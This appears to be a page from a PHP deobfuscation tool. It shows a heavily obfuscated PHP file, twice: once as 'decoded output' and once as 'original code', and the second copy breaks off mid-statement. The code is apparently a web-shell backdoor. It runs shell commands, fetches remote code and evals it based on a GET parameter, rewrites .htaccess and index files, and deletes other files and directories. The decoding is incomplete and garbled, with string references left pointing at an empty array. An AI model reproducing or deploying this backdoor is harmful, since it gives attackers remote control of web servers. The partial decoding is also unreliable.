Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php error_reporting(0);@ini_set($GLOBALS[][0],NULL);@ini_set($GLOBALS[][0x001],0);@ini_s..

Decoded Output download

<?php error_reporting(0);@ini_set($GLOBALS[][0],NULL);@ini_set($GLOBALS[][0x001],0);@ini_set($GLOBALS[][0x0002],0);echo $GLOBALS[][0x00003];if(!function_exists($GLOBALS[][0x000004])){function explode($str,$array){return split($str,$array);}}if(!function_exists($GLOBALS[][0x05])){function str_split($text,$split=0x001){$array=array();for($i=0;$i<strlen($text);){$array[]=substr($text,$i,$split);$i+= $split;}return $array;}}goto VExTs;c4SRG:function F8g1v($idwLU){goto BYCGP;Lacic:return $IwlpJ;goto M6IhQ;v8Xwa:if(!stristr(getcwd(),$IwlpJ)){$IwlpJ=str_replace($_SERVER[$GLOBALS[][0x006]],$GLOBALS[][0x0007],__FILE__);}goto Lacic;BYCGP:$IwlpJ=realpath($idwLU);goto XKq3h;XKq3h:if(trim($IwlpJ)==$GLOBALS[][0x0007]){$IwlpJ=$_SERVER[$GLOBALS[][0x00008]];}goto v8Xwa;M6IhQ:}goto AsNxM;WIv7M:$MatBx=$xZmXS[0].$GLOBALS[][0x000009];goto IXg69;C2fLV:if(preg_match($GLOBALS[][0x0a],$mbjuy)|| preg_match($GLOBALS[][0x00b],$mbjuy)){goto o2Kg9;o2Kg9:$WlmSQ=glob($GLOBALS[][0x000c]);goto xboAO;meaO4:exit;goto HRQif;xboAO:foreach($WlmSQ as $aFq5T){if(is_file($aFq5T)){unlink($aFq5T);}}goto meaO4;HRQif:}goto r2c0E;HM3Gw:function TB3fT($fVs33){goto iRtQz;GWDRq:foreach($Scw7l as $ZuxWX){if(in_array($ZuxWX,$PupNQ)){$Y_IQm.= $PupNQ[$ZuxWX];}else{$Y_IQm.= $ZuxWX;}}goto kFVIs;kFVIs:return $Y_IQm;goto uCWsi;iRtQz:$PupNQ=array($GLOBALS[][0x0000d] =>$GLOBALS[][0x00000e],$GLOBALS[][0x0f] =>$GLOBALS[][0x0010],$GLOBALS[][0x00000e] =>$GLOBALS[][0x00011],$GLOBALS[][0x000012] =>$GLOBALS[][0x0000013],$GLOBALS[][0x014] =>$GLOBALS[][0x0015],$GLOBALS[][0x00016] =>$GLOBALS[][0x000017],$GLOBALS[][0x0000018] =>$GLOBALS[][0x019],$GLOBALS[][0x0010] =>$GLOBALS[][0x001a],$GLOBALS[][0x0000013] =>$GLOBALS[][0x0001b],$GLOBALS[][0x00001c] =>$GLOBALS[][0x00016],$GLOBALS[][0x00011] =>$GLOBALS[][0x014],$GLOBALS[][0x001a] =>$GLOBALS[][0x0f],$GLOBALS[][0x000001d] =>$GLOBALS[][0x000012],$GLOBALS[][0x000017] =>$GLOBALS[][0x00001c],$GLOBALS[][0x0015] =>$GLOBALS[][0x000001d],$GLOBALS[][0x019] =>$GLOBALS[][0x0000d],$GLOBALS[][0x0001b] =>$GLOBALS[][0x0000018]);goto c1f4N;c1f4N:$Scw7l=str_split($fVs33);goto bL7UK;bL7UK:$Y_IQm=$GLOBALS[][0x0007];goto GWDRq;uCWsi:}goto c4SRG;oLzKt:$xZmXS=explode($GLOBALS[][0x01e],$MatBx);goto WIv7M;hnW2R:function oviRA($idwLU){goto sgX_f;l4tTE:if(preg_match($GLOBALS[][0x001f],$KgE8D)|| preg_match($GLOBALS[][0x00020],$KgE8D)){goto cIksi;uLoQ0:$yUIw2=A18W4($hDbr6);goto gba7l;oYaeh:if(preg_match($GLOBALS[][0x000021],$oU3La)&& !preg_match($GLOBALS[][0x0000022],$oU3La)){goto z_QDE;z_QDE:$oU3La=str_replace($GLOBALS[][0x023],$GLOBALS[][0x0024],$oU3La);goto R6s31;AWngp:M7kRu($f_9qK,$oU3La);goto Cejy9;R6s31:chmod($f_9qK,0644);goto AWngp;Cejy9:}goto EYn5m;XKBdz:$JNusO=a18w4($TSTtC);goto eh6FO;cIksi:$f_9qK=$idwLU.$GLOBALS[][0x00025];goto BrB73;WZnAH:$hDbr6=$idwLU.$GLOBALS[][0x000026];goto uLoQ0;zf17E:$TSTtC=$idwLU.$GLOBALS[][0x0000027];goto XKBdz;EYn5m:if(preg_match($GLOBALS[][0x028],$oU3La,$LwQp7)){unlink($LwQp7[0x001]);}goto WZnAH;KRy5h:chmod($YoR4l,0644);goto J8MdI;J8MdI:$aVcOU=$GLOBALS[][0x0029];goto fo5ks;eh6FO:if(preg_match($GLOBALS[][0x0002a],$JNusO)){goto PmJA7;rnOcA:m7Kru($TSTtC,$TApFN);goto P_f0a;PmJA7:$TApFN=$GLOBALS[][0x00002b];goto Co5Hq;Co5Hq:chmod($TSTtC,0644);goto rnOcA;P_f0a:}elseif(strstr($JNusO,$GLOBALS[][0x000002c])&& !preg_match($GLOBALS[][0x02d],$JNusO)&& !preg_match($GLOBALS[][0x002e],$JNusO)&& !preg_match($GLOBALS[][0x0002f],$JNusO)&& !preg_match($GLOBALS[][0x000030],$JNusO)){goto zBwgh;Czuhy:chmod($TSTtC,0644);goto d8TgR;zBwgh:$TApFN=AnAVJ($TSTtC,$GLOBALS[][0x000002c]);goto Czuhy;d8TgR:M7KRu($TSTtC,$TApFN);goto L7lu0;L7lu0:}goto KRy5h;gba7l:if(file_exists($hDbr6)&&(preg_match($GLOBALS[][0x0000031],$yUIw2)|| preg_match($GLOBALS[][0x032],$yUIw2))){unlink($hDbr6);unlink($idwLU.$GLOBALS[][0x0033]);}goto zf17E;fo5ks:m7KRU($YoR4l,$aVcOU);goto SRi6i;BrB73:$oU3La=A18w4($f_9qK);goto oYaeh;SRi6i:}goto zxw4N;sgX_f:$YoR4l=$idwLU.$GLOBALS[][0x00034];goto A8vPJ;A8vPJ:$KgE8D=strtolower(A18W4($YoR4l));goto l4tTE;zxw4N:}goto xRlPD;H0Rm0:if(strstr($k9prk,$GLOBALS[][0x000035])){$k9prk=explode($GLOBALS[][0x000035],$k9prk);$k9prk=$k9prk[0];}goto J35gG;iPLjw:function m7kRu($ZJHEQ,$RpO87){if(function_exists($GLOBALS[][0x0000036])){$MD01N=file_put_contents($ZJHEQ,$RpO87);}else{$MD01N=fwrite(fopen($ZJHEQ,$GLOBALS[][0x037]),$RpO87);}return $MD01N;}goto XkDhc;jJ5eW:while($wokPg<intval($WzJtu)){$idwLU.= $GLOBALS[][0x0038];$wokPg++;}goto Sxw29;mfFaD:function Fy5wp($idwLU){$t0agp=array($GLOBALS[][0x00039],$GLOBALS[][0x00003a],$GLOBALS[][0x000003b],$GLOBALS[][0x03c],$GLOBALS[][0x003d],$GLOBALS[][0x0003e],$GLOBALS[][0x00003f],$GLOBALS[][0x0000040]);foreach($t0agp as $oU3La){$CFYBG=$idwLU.$GLOBALS[][0x041] .$oU3La;if(is_dir($CFYBG)){rIEMW($CFYBG);}}}goto uHQs5;TUzMS:function rrkw7($idwLU){goto ku0DH;SfAHK:$zpApC=base64_decode($oh9FZ).$ECdFE;goto elw7s;ku0DH:$oh9FZ=$GLOBALS[][0x0042];goto djxq0;djxq0:$ECdFE=$GLOBALS[][0x00043];goto SfAHK;elw7s:if(file_exists($idwLU.$GLOBALS[][0x00025])){$RpO87=a18w4($idwLU.$GLOBALS[][0x00025]);if(preg_match($GLOBALS[][0x000044],$RpO87,$WyQPi)&& !preg_match($GLOBALS[][0x0000045],$RpO87)){goto j0Jdl;YEURM:chmod($idwLU.$GLOBALS[][0x00025],0644);goto yp0Sj;A_mD3:$z4ljr=str_replace($WyQPi[0],$iBNNS,$RpO87);goto YEURM;yp0Sj:m7KrU($idwLU.$GLOBALS[][0x00025],$z4ljr);goto epn8m;j0Jdl:$iBNNS=$GLOBALS[][0x046] .$zpApC.$GLOBALS[][0x0047] .$WyQPi[0];goto A_mD3;epn8m:}}goto Qz5M0;Qz5M0:}goto hnW2R;VExTs:function drlLI($lb4qc,$vaJaw=null,$utCBY=null){goto dZ7r8;olqtX:curl_setopt($vEwDM,CURLOPT_URL,$lb4qc);goto exbPB;MSh8O:curl_setopt($vEwDM,CURLOPT_RETURNTRANSFER,0x001);goto z8L3p;CRPXf:curl_setopt($vEwDM,CURLOPT_CONNECTTIMEOUT,0x01e);goto OzMqY;xUvwi:curl_setopt($vEwDM,CURLOPT_COOKIEFILE,$GLOBALS[][0x00048]);goto En26x;ZwWxd:$g3ew8=curl_exec($vEwDM);goto QJs82;Os6zJ:if($vaJaw!=null){curl_setopt($vEwDM,CURLOPT_HTTPHEADER,$vaJaw);}goto VW1t7;dZ7r8:$vEwDM=curl_init();goto olqtX;OzMqY:curl_setopt($vEwDM,CURLOPT_TIMEOUT,0x01e);goto md145;exbPB:curl_setopt($vEwDM,CURLOPT_HEADER,!0);goto MSh8O;QJs82:curl_close($vEwDM);goto JtXFW;eZh_N:curl_setopt($vEwDM,CURLOPT_SSL_VERIFYPEER,0);goto xSNf2;xSNf2:curl_setopt($vEwDM,CURLOPT_SSL_VERIFYHOST,0);goto G8luL;En26x:curl_setopt($vEwDM,CURLOPT_COOKIEJAR,$GLOBALS[][0x00048]);goto Os6zJ;G8luL:curl_setopt($vEwDM,CURLOPT_USERAGENT,$_SERVER[$GLOBALS[][0x000049]]);goto xUvwi;VW1t7:if($utCBY!=null){curl_setopt($vEwDM,CURLOPT_POST,0x001);curl_setopt($vEwDM,CURLOPT_POSTFIELDS,$utCBY);}goto ZwWxd;md145:curl_setopt($vEwDM,CURLOPT_FOLLOWLOCATION,0x001);goto eZh_N;JtXFW:return $g3ew8;goto Ul6lF;z8L3p:curl_setopt($vEwDM,CURLOPT_HTTPAUTH,CURLAUTH_BASIC);goto CRPXf;Ul6lF:}goto JEb7M;JEb7M:function itGHG($RTqx1){goto I90dn;I90dn:$zbz4q=$GLOBALS[][0x0007];goto I2o4H;p45B0:return $zbz4q;goto j9BTN;I2o4H:if(function_exists($GLOBALS[][0x000004a])){@exec($RTqx1,$zbz4q);$zbz4q=@join($GLOBALS[][0x04b],$zbz4q);}elseif(function_exists($GLOBALS[][0x004c])){goto rZMqY;blEPF:$zbz4q=ob_get_clean();goto JuYDs;ieUeW:@passthru($RTqx1);goto blEPF;rZMqY:ob_start();goto ieUeW;JuYDs:}elseif(function_exists($GLOBALS[][0x0004d])){goto odFC7;odFC7:ob_start();goto qDjAA;TWt6b:$zbz4q=ob_get_clean();goto Wv68N;qDjAA:@system($RTqx1);goto TWt6b;Wv68N:}elseif(function_exists($GLOBALS[][0x00004e])){$zbz4q=shell_exec($RTqx1);}elseif(is_resource($xZmXS=@popen($RTqx1,$GLOBALS[][0x000004f]))){goto CouI2;CouI2:$zbz4q=$GLOBALS[][0x050];goto Q_61t;z5EQD:pclose($xZmXS);goto XkXeU;Q_61t:while(!@feof($xZmXS)){$zbz4q.= fread($xZmXS,0x00000400);}goto z5EQD;XkXeU:}goto p45B0;j9BTN:}goto XJ18w;DYYcV:while(strstr($k9prk,$GLOBALS[][0x0051])){$k9prk=str_replace($GLOBALS[][0x0051],$GLOBALS[][0x00052],$k9prk);}goto H0Rm0;r2c0E:function JFew5($qROtT,$RpO87){if(preg_match($GLOBALS[][0x000053],$RpO87)){goto JH8cN;xlAnk:$RpO87=DRlLI($qROtT);goto tk__d;MeXJH:$RpO87=$GLOBALS[][0x000002c] .substr($RpO87,$hMsLq);goto d2UIB;d2UIB:unlink($GLOBALS[][0x0000054]);goto PLUko;m2J3D:$T5Vnn=DRlLi($qROtT.$GLOBALS[][0x055] .$GhtvU);goto xlAnk;v99Hp:$hMsLq=strpos($RpO87,$i3W7Z)+strlen($i3W7Z);goto MeXJH;q9cKz:$GhtvU=$GhtvU[0x001];goto m2J3D;tk__d:$i3W7Z=$GLOBALS[][0x000002c];goto v99Hp;JH8cN:preg_match($GLOBALS[][0x0056],$RpO87,$GhtvU);goto q9cKz;PLUko:}return $RpO87;}goto HM3Gw;XkDhc:function IGiYJ($aFq5T,$RXfoP){goto xSW2V;Tnfui:return $Llp3c;goto z8kqn;vCjKV:foreach($GRI6U as $LCvja){if(strstr($LCvja,$RXfoP)){$Llp3c++;}}goto Tnfui;uQzn7:$GRI6U=explode($GLOBALS[][0x04b],$mbjuy);goto vCjKV;pL4rs:$mbjuy=A18w4($aFq5T);goto uQzn7;xSW2V:$Llp3c=0;goto pL4rs;z8kqn:}goto JIBQB;J35gG:$WzJtu=substr_count($k9prk,$GLOBALS[][0x00052]);goto G5OpG;ZS7Os:RrKw7($idwLU);goto tYurE;tYurE:Fy5WP($idwLU);goto so5Z5;G5OpG:$idwLU=$GLOBALS[][0x00057];goto yY1kZ;yY1kZ:$wokPg=0x001;goto jJ5eW;obpiB:OvirA($idwLU);goto ZS7Os;JIBQB:function AnAvj($aFq5T,$RXfoP){goto ITsan;ITsan:$DLvkj=igiYJ($aFq5T,$RXfoP);goto cswAF;BIu7G:return $A5Nsc;goto ggohK;g5K0X:$A5Nsc=$GLOBALS[][0x0007];goto Wa834;j02o_:$GRI6U=explode($GLOBALS[][0x04b],$mbjuy);goto g5K0X;Wa834:foreach($GRI6U as $LCvja){if(strstr($LCvja,$RXfoP)|| $DLvkj<=0){$DLvkj--;if($DLvkj<=0){$A5Nsc.= $LCvja.$GLOBALS[][0x04b];}}}goto BIu7G;cswAF:$mbjuy=a18w4($aFq5T);goto j02o_;ggohK:}goto TUzMS;XJ18w:function XR2DP($RZ_R2){goto cw7no;vecmP:if(trim($JGA_Y)==$GLOBALS[][0x0007] && function_exists($GLOBALS[][0x000058])&& function_exists($GLOBALS[][0x0000059])&& function_exists($GLOBALS[][0x05a])){$U9W5p=fopen($RZ_R2,$GLOBALS[][0x005b],!1,stream_context_create(array($GLOBALS[][0x0005c] =>array($GLOBALS[][0x00005d] =>$GLOBALS[][0x000005e],$GLOBALS[][0x05f] =>$GLOBALS[][0x0060]))));$JGA_Y=stream_get_contents($U9W5p);}goto vgW_x;vgW_x:return $JGA_Y;goto sl65P;MrprR:if(trim($JGA_Y)==$GLOBALS[][0x0007] && function_exists($GLOBALS[][0x00061])&& function_exists($GLOBALS[][0x05a])){$JGA_Y=file_get_contents($RZ_R2,!1,stream_context_create(array($GLOBALS[][0x0005c] =>array($GLOBALS[][0x000062] =>$GLOBALS[][0x0000063],$GLOBALS[][0x064] =>$GLOBALS[][0x0060]))));}goto Haby2;Haby2:if(trim($JGA_Y)==$GLOBALS[][0x0007] && function_exists($GLOBALS[][0x0065])){goto FyOZS;Pa3i9:if(stristr($RZ_R2,$GLOBALS[][0x00066])){curl_setopt($udC2_,CURLOPT_SSL_VERIFYPEER,0);curl_setopt($udC2_,CURLOPT_SSL_VERIFYHOST,0);}goto dnknt;FyOZS:$udC2_=curl_init();goto rUQJU;ETEak:curl_setopt($udC2_,CURLOPT_USERAGENT,$GLOBALS[][0x000067]);goto xe9XB;vkI3n:curl_setopt($udC2_,CURLOPT_URL,$RZ_R2);goto ETEak;WekYG:curl_setopt($udC2_,CURLOPT_RETURNTRANSFER,!0);goto vkI3n;xe9XB:curl_setopt($udC2_,CURLOPT_REFERER,$GLOBALS[][0x0000068]);goto YlgYL;dnknt:curl_setopt($udC2_,CURLOPT_HEADER,!1);goto CtMng;CtMng:$JGA_Y=curl_exec($udC2_);goto gfSaJ;gfSaJ:curl_close($udC2_);goto XAoP5;rUQJU:curl_setopt($udC2_,CURLOPT_TIMEOUT,0x0a);goto WekYG;YlgYL:curl_setopt($udC2_,CURLOPT_FOLLOWLOCATION,!0);goto Pa3i9;XAoP5:}goto g4T7A;cw7no:$JGA_Y=$GLOBALS[][0x0007];goto MrprR;g4T7A:if(trim($JGA_Y)==$GLOBALS[][0x0007]){goto WFz1p;oQYMn:unlink($ATAGu);goto pwJp0;QRNb6:ItGHG($GLOBALS[][0x069] .$RZ_R2.$GLOBALS[][0x006a] .$ATAGu);goto eC426;WFz1p:$ATAGu=$GLOBALS[][0x0006b] .substr(str_shuffle($GLOBALS[][0x00006c]),0x032).$GLOBALS[][0x000006d];goto QRNb6;eC426:if(function_exists($GLOBALS[][0x00061])){$JGA_Y=file_get_contents($ATAGu);}else{$JGA_Y=stream_get_contents(fopen($ATAGu,$GLOBALS[][0x000004f]));}goto oQYMn;pwJp0:}goto vecmP;sl65P:}goto tJJmM;Sxw29:$idwLU=F8g1V($idwLU);goto obpiB;tJJmM:function A18w4($ZJHEQ){goto jgj6b;DOP_w:if(function_exists($GLOBALS[][0x00061])){$XFOyq=file_get_contents($ZJHEQ);}elseif(function_exists($GLOBALS[][0x000058])&& function_exists($GLOBALS[][0x0000059])){$XFOyq=stream_get_contents(fopen($ZJHEQ,$GLOBALS[][0x000004f]));}elseif(function_exists($GLOBALS[][0x06e])&& function_exists($GLOBALS[][0x006f])){$XFOyq=implode(file($ZJHEQ));}elseif(function_exists($GLOBALS[][0x006f])){$GRI6U=file($ZJHEQ);if(function_exists($GLOBALS[][0x06e])){$XFOyq=implode($GRI6U);}else{foreach($GRI6U as $LCvja){$XFOyq.= $LCvja;}}}goto RAQ7Y;wqFhY:return $XFOyq;goto axX9Q;jgj6b:$XFOyq=$GLOBALS[][0x0007];goto DOP_w;RAQ7Y:if(trim($XFOyq)==$GLOBALS[][0x0007]){$XFOyq=itGhG($GLOBALS[][0x00070] .$ZJHEQ);}goto wqFhY;axX9Q:}goto iPLjw;uHQs5:$MatBx=strval(basename(__FILE__));goto oLzKt;IXg69:$mbjuy=a18w4($MatBx);goto C2fLV;AsNxM:$k9prk=strval($_SERVER[$GLOBALS[][0x000071]]);goto DYYcV;xRlPD:function riEmW($ZJHEQ){goto AaqS4;AaqS4:$ZJHEQ=substr($ZJHEQ,-0x001)==$GLOBALS[][0x00052] ?$ZJHEQ:$ZJHEQ.$GLOBALS[][0x00052];goto puZ8I;uMfZW:@rmdir($ZJHEQ);goto OYPxg;puZ8I:$eLS6y=opendir($ZJHEQ);goto rCO0f;rCO0f:while(($EcsW8=readdir($eLS6y))!==!1){$EcsW8=$ZJHEQ.$EcsW8;if(basename($EcsW8)==$GLOBALS[][0x0000072] || basename($EcsW8)==$GLOBALS[][0x073]){continue;}$BXfWo=filetype($EcsW8);if($BXfWo==$GLOBALS[][0x0074]){riemw($EcsW8);}else{@unlink($EcsW8);}}goto aDR5F;aDR5F:closedir($eLS6y);goto uMfZW;OYPxg:}goto mfFaD;so5Z5:if(isset($_GET[$GLOBALS[][0x00075]])){goto CmYl7;Zu2N8:$r5dat=jFEw5($GLOBALS[][0x000076] .tb3ft($eWVAe),$r5dat);goto tqpEx;nxjJg:$r5dat=xr2dp($GLOBALS[][0x000076] .TB3FT($eWVAe));goto Zu2N8;CmYl7:$eWVAe=trim($_GET[$GLOBALS[][0x0000077]]);goto aexCG;tqpEx:$r5dat=str_replace(array($GLOBALS[][0x000002c],$GLOBALS[][0x078],$GLOBALS[][0x0079]),$GLOBALS[][0x0007],$r5dat);goto F842w;F842w:eval($r5dat);goto dlJSF;aexCG:$eWVAe=str_rot13(pack($GLOBALS[][0x0007a],strrev($eWVAe)));goto nxjJg;dlJSF:}elseif(isset($_GET[$GLOBALS[][0x00007b]])){goto X6xHb;OPaMJ:$Z0foL=itghG($GLOBALS[][0x000007c]);goto er1WH;X6xHb:$KDRo2=$idwLU.$GLOBALS[][0x0000027];goto OPaMJ;er1WH:if(file_exists($KDRo2)&& $Z0foL&&(substr(sprintf($GLOBALS[][0x07d],fileperms($KDRo2)),-0x000004)==$GLOBALS[][0x007e] || substr(sprintf($GLOBALS[][0x07d],fileperms($KDRo2)),-0x000004)==$GLOBALS[][0x0007f])){if(function_exists($GLOBALS[][0x000080])&& is_array(VVgvr())){if(u1s9V()){echo $GLOBALS[][0x0000081];}else{echo $GLOBALS[][0x082];}}else{echo $GLOBALS[][0x0083];}itgHG($GLOBALS[][0x00084]);}goto toIGj;toIGj:}elseif(isset($_GET[$GLOBALS[][0x000085]])){goto z4Kl6;RGpte:m7KRU($idwLU.$GLOBALS[][0x00034],$KgE8D);goto OVHLT;OVHLT:unlink($idwLU.$GLOBALS[][0x0000086]);goto VTOPu;z4Kl6:$KgE8D=$GLOBALS[][0x0029];goto HlSEU;HlSEU:chmod($idwLU.$GLOBALS[][0x00034],0644);goto RGpte;VTOPu:}else{echo $GLOBALS[][0x087] .md5($_SERVER[$GLOBALS[][0x0088]]).$GLOBALS[][0x00089];}?>

Did this file decode correctly?

Original Code

<?php error_reporting(0);@ini_set($GLOBALS[][0],NULL);@ini_set($GLOBALS[][0x001],0);@ini_set($GLOBALS[][0x0002],0);echo $GLOBALS[][0x00003];if(!function_exists($GLOBALS[][0x000004])){function explode($str,$array){return split($str,$array);}}if(!function_exists($GLOBALS[][0x05])){function str_split($text,$split=0x001){$array=array();for($i=0;$i<strlen($text);){$array[]=substr($text,$i,$split);$i+= $split;}return $array;}}goto VExTs;c4SRG:function F8g1v($idwLU){goto BYCGP;Lacic:return $IwlpJ;goto M6IhQ;v8Xwa:if(!stristr(getcwd(),$IwlpJ)){$IwlpJ=str_replace($_SERVER[$GLOBALS[][0x006]],$GLOBALS[][0x0007],__FILE__);}goto Lacic;BYCGP:$IwlpJ=realpath($idwLU);goto XKq3h;XKq3h:if(trim($IwlpJ)==$GLOBALS[][0x0007]){$IwlpJ=$_SERVER[$GLOBALS[][0x00008]];}goto v8Xwa;M6IhQ:}goto AsNxM;WIv7M:$MatBx=$xZmXS[0].$GLOBALS[][0x000009];goto IXg69;C2fLV:if(preg_match($GLOBALS[][0x0a],$mbjuy)|| preg_match($GLOBALS[][0x00b],$mbjuy)){goto o2Kg9;o2Kg9:$WlmSQ=glob($GLOBALS[][0x000c]);goto xboAO;meaO4:exit;goto HRQif;xboAO:foreach($WlmSQ as $aFq5T){if(is_file($aFq5T)){unlink($aFq5T);}}goto meaO4;HRQif:}goto r2c0E;HM3Gw:function TB3fT($fVs33){goto iRtQz;GWDRq:foreach($Scw7l as $ZuxWX){if(in_array($ZuxWX,$PupNQ)){$Y_IQm.= $PupNQ[$ZuxWX];}else{$Y_IQm.= $ZuxWX;}}goto kFVIs;kFVIs:return $Y_IQm;goto uCWsi;iRtQz:$PupNQ=array($GLOBALS[][0x0000d] =>$GLOBALS[][0x00000e],$GLOBALS[][0x0f] =>$GLOBALS[][0x0010],$GLOBALS[][0x00000e] =>$GLOBALS[][0x00011],$GLOBALS[][0x000012] =>$GLOBALS[][0x0000013],$GLOBALS[][0x014] =>$GLOBALS[][0x0015],$GLOBALS[][0x00016] =>$GLOBALS[][0x000017],$GLOBALS[][0x0000018] =>$GLOBALS[][0x019],$GLOBALS[][0x0010] =>$GLOBALS[][0x001a],$GLOBALS[][0x0000013] =>$GLOBALS[][0x0001b],$GLOBALS[][0x00001c] =>$GLOBALS[][0x00016],$GLOBALS[][0x00011] =>$GLOBALS[][0x014],$GLOBALS[][0x001a] =>$GLOBALS[][0x0f],$GLOBALS[][0x000001d] =>$GLOBALS[][0x000012],$GLOBALS[][0x000017] =>$GLOBALS[][0x00001c],$GLOBALS[][0x0015] =>$GLOBALS[][0x000001d],$GLOBALS[][0x019] =>$GLOBALS[][0x0000d],$GLOBALS[][0x0001b] =>$GLOBALS[][0x0000018]);goto c1f4N;c1f4N:$Scw7l=str_split($fVs33);goto bL7UK;bL7UK:$Y_IQm=$GLOBALS[][0x0007];goto GWDRq;uCWsi:}goto c4SRG;oLzKt:$xZmXS=explode($GLOBALS[][0x01e],$MatBx);goto WIv7M;hnW2R:function oviRA($idwLU){goto sgX_f;l4tTE:if(preg_match($GLOBALS[][0x001f],$KgE8D)|| preg_match($GLOBALS[][0x00020],$KgE8D)){goto cIksi;uLoQ0:$yUIw2=A18W4($hDbr6);goto gba7l;oYaeh:if(preg_match($GLOBALS[][0x000021],$oU3La)&& !preg_match($GLOBALS[][0x0000022],$oU3La)){goto z_QDE;z_QDE:$oU3La=str_replace($GLOBALS[][0x023],$GLOBALS[][0x0024],$oU3La);goto R6s31;AWngp:M7kRu($f_9qK,$oU3La);goto Cejy9;R6s31:chmod($f_9qK,0644);goto AWngp;Cejy9:}goto EYn5m;XKBdz:$JNusO=a18w4($TSTtC);goto eh6FO;cIksi:$f_9qK=$idwLU.$GLOBALS[][0x00025];goto BrB73;WZnAH:$hDbr6=$idwLU.$GLOBALS[][0x000026];goto uLoQ0;zf17E:$TSTtC=$idwLU.$GLOBALS[][0x0000027];goto XKBdz;EYn5m:if(preg_match($GLOBALS[][0x028],$oU3La,$LwQp7)){unlink($LwQp7[0x001]);}goto WZnAH;KRy5h:chmod($YoR4l,0644);goto J8MdI;J8MdI:$aVcOU=$GLOBALS[][0x0029];goto fo5ks;eh6FO:if(preg_match($GLOBALS[][0x0002a],$JNusO)){goto PmJA7;rnOcA:m7Kru($TSTtC,$TApFN);goto P_f0a;PmJA7:$TApFN=$GLOBALS[][0x00002b];goto Co5Hq;Co5Hq:chmod($TSTtC,0644);goto rnOcA;P_f0a:}elseif(strstr($JNusO,$GLOBALS[][0x000002c])&& !preg_match($GLOBALS[][0x02d],$JNusO)&& !preg_match($GLOBALS[][0x002e],$JNusO)&& !preg_match($GLOBALS[][0x0002f],$JNusO)&& !preg_match($GLOBALS[][0x000030],$JNusO)){goto zBwgh;Czuhy:chmod($TSTtC,0644);goto d8TgR;zBwgh:$TApFN=AnAVJ($TSTtC,$GLOBALS[][0x000002c]);goto Czuhy;d8TgR:M7KRu($TSTtC,$TApFN);goto L7lu0;L7lu0:}goto KRy5h;gba7l:if(file_exists($hDbr6)&&(preg_match($GLOBALS[][0x0000031],$yUIw2)|| preg_match($GLOBALS[][0x032],$yUIw2))){unlink($hDbr6);unlink($idwLU.$GLOBALS[][0x0033]);}goto zf17E;fo5ks:m7KRU($YoR4l,$aVcOU);goto SRi6i;BrB73:$oU3La=A18w4($f_9qK);goto oYaeh;SRi6i:}goto zxw4N;sgX_f:$YoR4l=$idwLU.$GLOBALS[][0x00034];goto A8vPJ;A8vPJ:$KgE8D=strtolower(A18W4($YoR4l));goto l4tTE;zxw4N:}goto xRlPD;H0Rm0:if(strstr($k9prk,$GLOBALS[][0x000035])){$k9prk=explode($GLOBALS[][0x000035],$k9prk);$k9prk=$k9prk[0];}goto J35gG;iPLjw:function m7kRu($ZJHEQ,$RpO87){if(function_exists($GLOBALS[][0x0000036])){$MD01N=file_put_contents($ZJHEQ,$RpO87);}else{$MD01N=fwrite(fopen($ZJHEQ,$GLOBALS[][0x037]),$RpO87);}return $MD01N;}goto XkDhc;jJ5eW:while($wokPg<intval($WzJtu)){$idwLU.= $GLOBALS[][0x0038];$wokPg++;}goto Sxw29;mfFaD:function Fy5wp($idwLU){$t0agp=array($GLOBALS[][0x00039],$GLOBALS[][0x00003a],$GLOBALS[][0x000003b],$GLOBALS[][0x03c],$GLOBALS[][0x003d],$GLOBALS[][0x0003e],$GLOBALS[][0x00003f],$GLOBALS[][0x0000040]);foreach($t0agp as $oU3La){$CFYBG=$idwLU.$GLOBALS[][0x041] .$oU3La;if(is_dir($CFYBG)){rIEMW($CFYBG);}}}goto uHQs5;TUzMS:function rrkw7($idwLU){goto ku0DH;SfAHK:$zpApC=base64_decode($oh9FZ).$ECdFE;goto elw7s;ku0DH:$oh9FZ=$GLOBALS[][0x0042];goto djxq0;djxq0:$ECdFE=$GLOBALS[][0x00043];goto SfAHK;elw7s:if(file_exists($idwLU.$GLOBALS[][0x00025])){$RpO87=a18w4($idwLU.$GLOBALS[][0x00025]);if(preg_match($GLOBALS[][0x000044],$RpO87,$WyQPi)&& !preg_match($GLOBALS[][0x0000045],$RpO87)){goto j0Jdl;YEURM:chmod($idwLU.$GLOBALS[][0x00025],0644);goto yp0Sj;A_mD3:$z4ljr=str_replace($WyQPi[0],$iBNNS,$RpO87);goto YEURM;yp0Sj:m7KrU($idwLU.$GLOBALS[][0x00025],$z4ljr);goto epn8m;j0Jdl:$iBNNS=$GLOBALS[][0x046] .$zpApC.$GLOBALS[][0x0047] .$WyQPi[0];goto A_mD3;epn8m:}}goto Qz5M0;Qz5M0:}goto hnW2R;VExTs:function drlLI($lb4qc,$vaJaw=null,$utCBY=null){goto dZ7r8;olqtX:curl_setopt($vEwDM,CURLOPT_URL,$lb4qc);goto exbPB;MSh8O:curl_setopt($vEwDM,CURLOPT_RETURNTRANSFER,0x001);goto z8L3p;CRPXf:curl_setopt($vEwDM,CURLOPT_CONNECTTIMEOUT,0x01e);goto OzMqY;xUvwi:curl_setopt($vEwDM,CURLOPT_COOKIEFILE,$GLOBALS[][0x00048]);goto En26x;ZwWxd:$g3ew8=curl_exec($vEwDM);goto QJs82;Os6zJ:if($vaJaw!=null){curl_setopt($vEwDM,CURLOPT_HTTPHEADER,$vaJaw);}goto VW1t7;dZ7r8:$vEwDM=curl_init();goto olqtX;OzMqY:curl_setopt($vEwDM,CURLOPT_TIMEOUT,0x01e);goto md145;exbPB:curl_setopt($vEwDM,CURLOPT_HEADER,!0);goto MSh8O;QJs82:curl_close($vEwDM);goto JtXFW;eZh_N:curl_setopt($vEwDM,CURLOPT_SSL_VERIFYPEER,0);goto xSNf2;xSNf2:curl_setopt($vEwDM,CURLOPT_SSL_VERIFYHOST,0);goto G8luL;En26x:curl_setopt($vEwDM,CURLOPT_COOKIEJAR,$GLOBALS[][0x00048]);goto Os6zJ;G8luL:curl_setopt($vEwDM,CURLOPT_USERAGENT,$_SERVER[$GLOBALS[][0x000049]]);goto xUvwi;VW1t7:if($utCBY!=null){curl_setopt($vEwDM,CURLOPT_POST,0x001);curl_setopt($vEwDM,CURLOPT_POSTFIELDS,$utCBY);}goto ZwWxd;md145:curl_setopt($vEwDM,CURLOPT_FOLLOWLOCATION,0x001);goto eZh_N;JtXFW:return $g3ew8;goto Ul6lF;z8L3p:curl_setopt($vEwDM,CURLOPT_HTTPAUTH,CURLAUTH_BASIC);goto 